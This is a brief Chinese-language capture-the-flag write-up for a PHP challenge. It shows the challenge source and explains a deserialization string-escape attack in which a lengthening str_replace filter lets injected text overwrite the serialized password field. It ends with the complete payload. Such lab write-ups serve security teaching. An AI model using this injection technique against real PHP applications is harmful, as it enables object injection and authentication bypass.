CTF-18解题思路

源码分析：

<?php
highlight_file(__FILE__);
error_reporting(0);
class a
{
  public $uname;
  public $password;
  public function __construct($uname,$password)
  {
    $this->uname=$uname;
    $this->password=$password;
  }
  public function __wakeup()
  {
      if($this->password==='yu22x')
      {
        include('flag.php');
        echo $flag;  
      }
      else
      {
        echo 'wrong password';
      }
    }
  }
function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

得到flag的条件：$this->password==='yu22x'

难点是$password不可控，考查的是反序列化字符串逃逸。（https://www.cnblogs.com/NPFS/p/13338789.html）

要在参数值的结尾构造：";s:8:"password";s:5:"yu22x";}（总共是30个字符）。因为str_replace('Firebasky','Firebaskyup',$string);替换后从9个字符变为了11个，多了两个字符，因此输入15个Firebasky即可。

payload:

FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}